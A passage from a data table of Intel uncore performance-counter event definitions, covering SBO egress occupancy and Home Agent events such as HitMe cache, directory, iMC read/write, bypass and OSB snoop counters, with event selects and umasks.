"Defn": "Occupancy event for the Egress buffers in the Sbo. The egress is used to queue up requests destined for the ring.",
"Desc": "Egress Occupancy",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00100000",
},
"SBO.TxR_OCCUPANCY.AD_BNC": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Egress buffers in the Sbo. The egress is used to queue up requests destined for the ring.",
"Desc": "Egress Occupancy",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00000010",
},
"SBO.TxR_OCCUPANCY.BL_CRD": {
"Box": "SBO",
"Category": "SBO EGRESS Events",
"Counters": "0-3",
"Defn": "Occupancy event for the Egress buffers in the Sbo. The egress is used to queue up requests destined for the ring.",
"Desc": "Egress Occupancy",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 12,
"SubCtr": 1,
"Umask": "b00000100",
},
# HA:
"HA.ADDR_OPC_MATCH": {
"Box": "HA",
"Category": "HA ADDR_OPCODE_MATCH Events",
"Counters": "0-3",
"Desc": "QPI Address/Opcode Match",
"EvSel": 32,
"ExtSel": "",
},
"HA.ADDR_OPC_MATCH.AD": {
"Box": "HA",
"Category": "HA ADDR_OPCODE_MATCH Events",
"Counters": "0-3",
"Desc": "QPI Address/Opcode Match",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.ADDR_OPC_MATCH.ADDR": {
"Box": "HA",
"Category": "HA ADDR_OPCODE_MATCH Events",
"Counters": "0-3",
"Desc": "QPI Address/Opcode Match",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.ADDR_OPC_MATCH.AK": {
"Box": "HA",
"Category": "HA ADDR_OPCODE_MATCH Events",
"Counters": "0-3",
"Desc": "QPI Address/Opcode Match",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"HA.ADDR_OPC_MATCH.BL": {
"Box": "HA",
"Category": "HA ADDR_OPCODE_MATCH Events",
"Counters": "0-3",
"Desc": "QPI Address/Opcode Match",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.ADDR_OPC_MATCH.OPC": {
"Box": "HA",
"Category": "HA ADDR_OPCODE_MATCH Events",
"Counters": "0-3",
"Desc": "QPI Address/Opcode Match",
"EvSel": 32,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.ADDR_OPC_MATCH.FILT": {
"Box": "HA",
"Category": "HA ADDR_OPCODE_MATCH Events",
"Counters": "0-3",
"Desc": "QPI Address/Opcode Match",
"EvSel": 32,
"ExtSel": "",
"Umask": "b00000011",
},
"HA.BT_CYCLES_NE": {
"Box": "HA",
"Category": "HA BT (Backup Tracker) Events",
"Counters": "0-3",
"Defn": "Cycles the Backup Tracker (BT) is not empty. The BT is the actual HOM tracker in IVT.",
"Desc": "BT Cycles Not Empty",
"EvSel": 66,
"ExtSel": "",
"Notes": "Will not count case HT is empty and a Bypass happens.",
},
"HA.BT_OCCUPANCY": {
"Box": "HA",
"Category": "HA BT (Backup Tracker) Events",
"Counters": "0-3",
"Defn": "Accumulates the occupancy of the HA BT pool in every cycle. This can be used with the \"not empty\" stat to calculate average queue occupancy or the \"allocations\" stat in order to calculate average queue latency. HA BTs are allocated as soon as a request enters the HA and is released after the snoop response and data return (or post in the case of a write) and the response is returned on the ring.",
"Desc": "BT Occupancy",
"EvSel": 67,
"ExtSel": "",
"MaxIncCyc": 512,
},
"HA.BYPASS_IMC": {
"Box": "HA",
"Category": "HA BYPASS Events",
"Counters": "0-3",
"Defn": "Counts the number of times when the HA was able to bypass was attempted. This is a latency optimization for situations when there is light loadings on the memory subsystem. This can be filted by when the bypass was taken and when it was not.",
"Desc": "HA to iMC Bypass",
"EvSel": 20,
"ExtSel": "",
"Notes": "Only read transactions use iMC bypass",
},
"HA.BYPASS_IMC.NOT_TAKEN": {
"Box": "HA",
"Category": "HA BYPASS Events",
"Counters": "0-3",
"Defn": "Counts the number of times when the HA was able to bypass was attempted. This is a latency optimization for situations when there is light loadings on the memory subsystem. This can be filted by when the bypass was taken and when it was not.",
"Desc": "HA to iMC Bypass",
"EvSel": 20,
"ExtSel": "",
"Notes": "Only read transactions use iMC bypass",
"Umask": "bxxxxxx1x",
},
"HA.BYPASS_IMC.TAKEN": {
"Box": "HA",
"Category": "HA BYPASS Events",
"Counters": "0-3",
"Defn": "Counts the number of times when the HA was able to bypass was attempted. This is a latency optimization for situations when there is light loadings on the memory subsystem. This can be filted by when the bypass was taken and when it was not.",
"Desc": "HA to iMC Bypass",
"EvSel": 20,
"ExtSel": "",
"Notes": "Only read transactions use iMC bypass",
"Umask": "bxxxxxxx1",
},
"HA.CLOCKTICKS": {
"Box": "HA",
"Category": "HA UCLK Events",
"Counters": "0-3",
"Defn": "Counts the number of uclks in the HA. This will be slightly different than the count in the Ubox because of enable/freeze delays. The HA is on the other side of the die from the fixed Ubox uclk counter, so the drift could be somewhat larger than in units that are closer like the QPI Agent.",
"Desc": "uclks",
"EvSel": 0,
"ExtSel": "",
},
"HA.CONFLICT_CYCLES": {
"Box": "HA",
"Category": "HA CONFLICTS Events",
"Counters": 1,
"Defn": "Counters the number of cycles there was a conflict in the HA because threads in two different sockets were requesting the same address at the same time",
"Desc": "Conflict Checks",
"EvSel": 11,
"Filter": "N",
"ExtSel": "",
},
"HA.DIRECT2CORE_COUNT": {
"Box": "HA",
"Category": "HA DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Number of Direct2Core messages sent",
"Desc": "Direct2Core Messages Sent",
"EvSel": 17,
"ExtSel": "",
"Notes": "Will not be implemented since OUTBOUND_TX_BL:0x1 will count DRS to CORE which is effectively the same thing as D2C count",
},
"HA.DIRECT2CORE_CYCLES_DISABLED": {
"Box": "HA",
"Category": "HA DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Number of cycles in which Direct2Core was disabled",
"Desc": "Cycles when Direct2Core was Disabled",
"EvSel": 18,
"ExtSel": "",
},
"HA.DIRECT2CORE_TXN_OVERRIDE": {
"Box": "HA",
"Category": "HA DIRECT2CORE Events",
"Counters": "0-3",
"Defn": "Number of Reads where Direct2Core overridden",
"Desc": "Number of Reads that had Direct2Core Overridden",
"EvSel": 19,
"ExtSel": "",
},
"HA.DIRECTORY_LAT_OPT": {
"Box": "HA",
"Category": "HA DIRECTORY Events",
"Counters": "0-3",
"Defn": "Directory Latency Optimization Data Return Path Taken. When directory mode is enabled and the directory retuned for a read is Dir=I, then data can be returned using a faster path if certain conditions are met (credits, free pipeline, etc).",
"Desc": "Directory Lat Opt Return",
"EvSel": 65,
"ExtSel": "",
},
"HA.DIRECTORY_LOOKUP": {
"Box": "HA",
"Category": "HA DIRECTORY Events",
"Counters": "0-3",
"Defn": "Counts the number of transactions that looked up the directory. Can be filtered by requests that had to snoop and those that did not have to.",
"Desc": "Directory Lookups",
"EvSel": 12,
"ExtSel": "",
"Notes": "Only valid for parts that implement the Directory",
},
"HA.DIRECTORY_LOOKUP.NO_SNP": {
"Box": "HA",
"Category": "HA DIRECTORY Events",
"Counters": "0-3",
"Defn": "Counts the number of transactions that looked up the directory. Can be filtered by requests that had to snoop and those that did not have to.",
"Desc": "Directory Lookups",
"EvSel": 12,
"ExtSel": "",
"Notes": "Only valid for parts that implement the Directory",
"Umask": "bxxxxxx1x",
},
"HA.DIRECTORY_LOOKUP.SNP": {
"Box": "HA",
"Category": "HA DIRECTORY Events",
"Counters": "0-3",
"Defn": "Counts the number of transactions that looked up the directory. Can be filtered by requests that had to snoop and those that did not have to.",
"Desc": "Directory Lookups",
"EvSel": 12,
"ExtSel": "",
"Notes": "Only valid for parts that implement the Directory",
"Umask": "bxxxxxxx1",
},
"HA.DIRECTORY_UPDATE": {
"Box": "HA",
"Category": "HA DIRECTORY Events",
"Counters": "0-3",
"Defn": "Counts the number of directory updates that were required. These result in writes to the memory controller. This can be filtered by directory sets and directory clears.",
"Desc": "Directory Updates",
"EvSel": 13,
"ExtSel": "",
"Notes": "Only valid for parts that implement the Directory",
},
"HA.DIRECTORY_UPDATE.ANY": {
"Box": "HA",
"Category": "HA DIRECTORY Events",
"Counters": "0-3",
"Defn": "Counts the number of directory updates that were required. These result in writes to the memory controller. This can be filtered by directory sets and directory clears.",
"Desc": "Directory Updates",
"EvSel": 13,
"ExtSel": "",
"Notes": "Only valid for parts that implement the Directory",
"Umask": "bxxxxxx11",
},
"HA.DIRECTORY_UPDATE.SET": {
"Box": "HA",
"Category": "HA DIRECTORY Events",
"Counters": "0-3",
"Defn": "Counts the number of directory updates that were required. These result in writes to the memory controller. This can be filtered by directory sets and directory clears.",
"Desc": "Directory Updates",
"EvSel": 13,
"ExtSel": "",
"Notes": "Only valid for parts that implement the Directory",
"Umask": "bxxxxxxx1",
},
"HA.DIRECTORY_UPDATE.CLEAR": {
"Box": "HA",
"Category": "HA DIRECTORY Events",
"Counters": "0-3",
"Defn": "Counts the number of directory updates that were required. These result in writes to the memory controller. This can be filtered by directory sets and directory clears.",
"Desc": "Directory Updates",
"EvSel": 13,
"ExtSel": "",
"Notes": "Only valid for parts that implement the Directory",
"Umask": "bxxxxxx1x",
},
"HA.HITME_HIT": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
},
"HA.HITME_HIT.RSPFWDI_REMOTE": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"HA.HITME_HIT.EVICTS": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "b01000010",
},
"HA.HITME_HIT.RSPFWDS": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"HA.HITME_HIT.READ_OR_INVITOE": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.HITME_HIT.INVALS": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "b00100110",
},
"HA.HITME_HIT.ALL": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "b11111111",
},
"HA.HITME_HIT.HOM": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "b00001111",
},
"HA.HITME_HIT.RSP": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "b1xxxxxxx",
},
"HA.HITME_HIT.WBMTOI": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.HITME_HIT.ALLOCS": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "b01110000",
},
"HA.HITME_HIT.WBMTOE_OR_S": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.HITME_HIT.ACKCNFLTWBI": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.HITME_HIT.RSPFWDI_LOCAL": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of Hits in HitMe Cache",
"EvSel": 113,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"HA.HITME_HIT_PV_BITS_SET": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
},
"HA.HITME_HIT_PV_BITS_SET.RSP": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
"Umask": "b1xxxxxxx",
},
"HA.HITME_HIT_PV_BITS_SET.HOM": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
"Umask": "b00001111",
},
"HA.HITME_HIT_PV_BITS_SET.ALL": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
"Umask": "b11111111",
},
"HA.HITME_HIT_PV_BITS_SET.READ_OR_INVITOE": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.HITME_HIT_PV_BITS_SET.RSPFWDS": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"HA.HITME_HIT_PV_BITS_SET.RSPFWDI_REMOTE": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"HA.HITME_HIT_PV_BITS_SET.RSPFWDI_LOCAL": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"HA.HITME_HIT_PV_BITS_SET.ACKCNFLTWBI": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.HITME_HIT_PV_BITS_SET.WBMTOE_OR_S": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.HITME_HIT_PV_BITS_SET.WBMTOI": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Accumulates Number of PV bits set on HitMe Cache Hits",
"EvSel": 114,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.HITME_LOOKUP": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
},
"HA.HITME_LOOKUP.ACKCNFLTWBI": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.HITME_LOOKUP.RSPFWDI_LOCAL": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"HA.HITME_LOOKUP.ALLOCS": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "b01110000",
},
"HA.HITME_LOOKUP.WBMTOI": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.HITME_LOOKUP.WBMTOE_OR_S": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.HITME_LOOKUP.INVALS": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "b00100110",
},
"HA.HITME_LOOKUP.ALL": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "b11111111",
},
"HA.HITME_LOOKUP.RSPFWDS": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"HA.HITME_LOOKUP.READ_OR_INVITOE": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.HITME_LOOKUP.RSP": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "b1xxxxxxx",
},
"HA.HITME_LOOKUP.HOM": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "b00001111",
},
"HA.HITME_LOOKUP.RSPFWDI_REMOTE": {
"Box": "HA",
"Category": "HA HitME Events",
"Counters": "0-3",
"Desc": "Counts Number of times HitMe Cache is accessed",
"EvSel": 112,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"HA.IGR_NO_CREDIT_CYCLES": {
"Box": "HA",
"Category": "HA QPI_IGR_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the HA does not have credits to send messages to the QPI Agent. This can be filtered by the different credit pools and the different links.",
"Desc": "Cycles without QPI Ingress Credits",
"EvSel": 34,
"ExtSel": "",
},
"HA.IGR_NO_CREDIT_CYCLES.BL_QPI1": {
"Box": "HA",
"Category": "HA QPI_IGR_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the HA does not have credits to send messages to the QPI Agent. This can be filtered by the different credit pools and the different links.",
"Desc": "Cycles without QPI Ingress Credits",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.IGR_NO_CREDIT_CYCLES.BL_QPI2": {
"Box": "HA",
"Category": "HA QPI_IGR_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the HA does not have credits to send messages to the QPI Agent. This can be filtered by the different credit pools and the different links.",
"Desc": "Cycles without QPI Ingress Credits",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"HA.IGR_NO_CREDIT_CYCLES.BL_QPI0": {
"Box": "HA",
"Category": "HA QPI_IGR_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the HA does not have credits to send messages to the QPI Agent. This can be filtered by the different credit pools and the different links.",
"Desc": "Cycles without QPI Ingress Credits",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.IGR_NO_CREDIT_CYCLES.AD_QPI2": {
"Box": "HA",
"Category": "HA QPI_IGR_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the HA does not have credits to send messages to the QPI Agent. This can be filtered by the different credit pools and the different links.",
"Desc": "Cycles without QPI Ingress Credits",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"HA.IGR_NO_CREDIT_CYCLES.AD_QPI1": {
"Box": "HA",
"Category": "HA QPI_IGR_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the HA does not have credits to send messages to the QPI Agent. This can be filtered by the different credit pools and the different links.",
"Desc": "Cycles without QPI Ingress Credits",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.IGR_NO_CREDIT_CYCLES.AD_QPI0": {
"Box": "HA",
"Category": "HA QPI_IGR_CREDITS Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the HA does not have credits to send messages to the QPI Agent. This can be filtered by the different credit pools and the different links.",
"Desc": "Cycles without QPI Ingress Credits",
"EvSel": 34,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.IMC_READS": {
"Box": "HA",
"Category": "HA IMC_READS Events",
"Counters": "0-3",
"Defn": "Count of the number of reads issued to any of the memory controller channels. This can be filtered by the priority of the reads.",
"Desc": "HA to iMC Normal Priority Reads Issued",
"EvSel": 23,
"ExtSel": "",
"MaxIncCyc": 4,
"Notes": "Does not count reads using the bypass path. That is counted separately in HA_IMC.BYPASS",
},
"HA.IMC_READS.NORMAL": {
"Box": "HA",
"Category": "HA IMC_READS Events",
"Counters": "0-3",
"Defn": "Count of the number of reads issued to any of the memory controller channels. This can be filtered by the priority of the reads.",
"Desc": "HA to iMC Normal Priority Reads Issued",
"EvSel": 23,
"ExtSel": "",
"MaxIncCyc": 4,
"Notes": "Does not count reads using the bypass path. That is counted separately in HA_IMC.BYPASS",
"Umask": "b00000001",
},
"HA.IMC_RETRY": {
"Box": "HA",
"Category": "HA IMC_MISC Events",
"Counters": "0-3",
"Desc": "Retry Events",
"EvSel": 30,
"ExtSel": "",
},
"HA.IMC_WRITES": {
"Box": "HA",
"Category": "HA IMC_WRITES Events",
"Counters": "0-3",
"Defn": "Counts the total number of full line writes issued from the HA into the memory controller. This counts for all four channels. It can be filtered by full/partial and ISOCH/non-ISOCH.",
"Desc": "HA to iMC Full Line Writes Issued",
"EvSel": 26,
"ExtSel": "",
},
"HA.IMC_WRITES.PARTIAL": {
"Box": "HA",
"Category": "HA IMC_WRITES Events",
"Counters": "0-3",
"Defn": "Counts the total number of full line writes issued from the HA into the memory controller. This counts for all four channels. It can be filtered by full/partial and ISOCH/non-ISOCH.",
"Desc": "HA to iMC Full Line Writes Issued",
"EvSel": 26,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.IMC_WRITES.ALL": {
"Box": "HA",
"Category": "HA IMC_WRITES Events",
"Counters": "0-3",
"Defn": "Counts the total number of full line writes issued from the HA into the memory controller. This counts for all four channels. It can be filtered by full/partial and ISOCH/non-ISOCH.",
"Desc": "HA to iMC Full Line Writes Issued",
"EvSel": 26,
"ExtSel": "",
"Umask": "b00001111",
},
"HA.IMC_WRITES.FULL_ISOCH": {
"Box": "HA",
"Category": "HA IMC_WRITES Events",
"Counters": "0-3",
"Defn": "Counts the total number of full line writes issued from the HA into the memory controller. This counts for all four channels. It can be filtered by full/partial and ISOCH/non-ISOCH.",
"Desc": "HA to iMC Full Line Writes Issued",
"EvSel": 26,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.IMC_WRITES.PARTIAL_ISOCH": {
"Box": "HA",
"Category": "HA IMC_WRITES Events",
"Counters": "0-3",
"Defn": "Counts the total number of full line writes issued from the HA into the memory controller. This counts for all four channels. It can be filtered by full/partial and ISOCH/non-ISOCH.",
"Desc": "HA to iMC Full Line Writes Issued",
"EvSel": 26,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.IMC_WRITES.FULL": {
"Box": "HA",
"Category": "HA IMC_WRITES Events",
"Counters": "0-3",
"Defn": "Counts the total number of full line writes issued from the HA into the memory controller. This counts for all four channels. It can be filtered by full/partial and ISOCH/non-ISOCH.",
"Desc": "HA to iMC Full Line Writes Issued",
"EvSel": 26,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.OSB": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Count of OSB snoop broadcasts. Counts by 1 per request causing OSB snoops to be broadcast. Does not count all the snoops generated by OSB.",
"Desc": "OSB Snoop Broadcast",
"EvSel": 83,
"ExtSel": "",
},
"HA.OSB.REMOTE": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Count of OSB snoop broadcasts. Counts by 1 per request causing OSB snoops to be broadcast. Does not count all the snoops generated by OSB.",
"Desc": "OSB Snoop Broadcast",
"EvSel": 83,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.OSB.READS_LOCAL_USEFUL": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Count of OSB snoop broadcasts. Counts by 1 per request causing OSB snoops to be broadcast. Does not count all the snoops generated by OSB.",
"Desc": "OSB Snoop Broadcast",
"EvSel": 83,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"HA.OSB.REMOTE_USEFUL": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Count of OSB snoop broadcasts. Counts by 1 per request causing OSB snoops to be broadcast. Does not count all the snoops generated by OSB.",
"Desc": "OSB Snoop Broadcast",
"EvSel": 83,
"ExtSel": "",
"Umask": "bx1xxxxxx",
},
"HA.OSB.READS_LOCAL": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Count of OSB snoop broadcasts. Counts by 1 per request causing OSB snoops to be broadcast. Does not count all the snoops generated by OSB.",
"Desc": "OSB Snoop Broadcast",
"EvSel": 83,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.OSB.CANCELLED": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Count of OSB snoop broadcasts. Counts by 1 per request causing OSB snoops to be broadcast. Does not count all the snoops generated by OSB.",
"Desc": "OSB Snoop Broadcast",
"EvSel": 83,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"HA.OSB.INVITOE_LOCAL": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Count of OSB snoop broadcasts. Counts by 1 per request causing OSB snoops to be broadcast. Does not count all the snoops generated by OSB.",
"Desc": "OSB Snoop Broadcast",
"EvSel": 83,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.OSB_EDR": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Counts the number of transactions that broadcast snoop due to OSB, but found clean data in memory and was able to do early data return",
"Desc": "OSB Early Data Return",
"EvSel": 84,
"ExtSel": "",
},
"HA.OSB_EDR.READS_LOCAL_I": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Counts the number of transactions that broadcast snoop due to OSB, but found clean data in memory and was able to do early data return",
"Desc": "OSB Early Data Return",
"EvSel": 84,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"HA.OSB_EDR.READS_REMOTE_I": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Counts the number of transactions that broadcast snoop due to OSB, but found clean data in memory and was able to do early data return",
"Desc": "OSB Early Data Return",
"EvSel": 84,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"HA.OSB_EDR.ALL": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Counts the number of transactions that broadcast snoop due to OSB, but found clean data in memory and was able to do early data return",
"Desc": "OSB Early Data Return",
"EvSel": 84,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"HA.OSB_EDR.READS_LOCAL_S": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Counts the number of transactions that broadcast snoop due to OSB, but found clean data in memory and was able to do early data return",
"Desc": "OSB Early Data Return",
"EvSel": 84,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"HA.OSB_EDR.READS_REMOTE_S": {
"Box": "HA",
"Category": "HA OSB (Opportunistic Snoop Broadcast) Events",
"Counters": "0-3",
"Defn": "Counts the number of transactions that broadcast snoop due to OSB, but found clean data in memory and was able to do early data return",
"Desc": "OSB Early Data Return",
"EvSel": 84,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"HA.REQUESTS": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the total number of read requests made into the Home Agent. Reads include all read opcodes (including RFO). Writes include all writes (streaming, evictions, HitM, etc).",
"Desc": "Read and Write Requests",
"EvSel": 1,
"ExtSel": "",
},
"HA.REQUESTS.READS_LOCAL": {
"Box": "HA",
"Category": "HA TRACKER Events",
"Counters": "0-3",
"Defn": "Counts the total number of read requests made into the Home Agent. Reads include all read opcodes (including RFO). Writes include all writes (streaming, evictions, HitM, etc).",
"Desc": "Read and Write Requests",
"EvSel": 1,
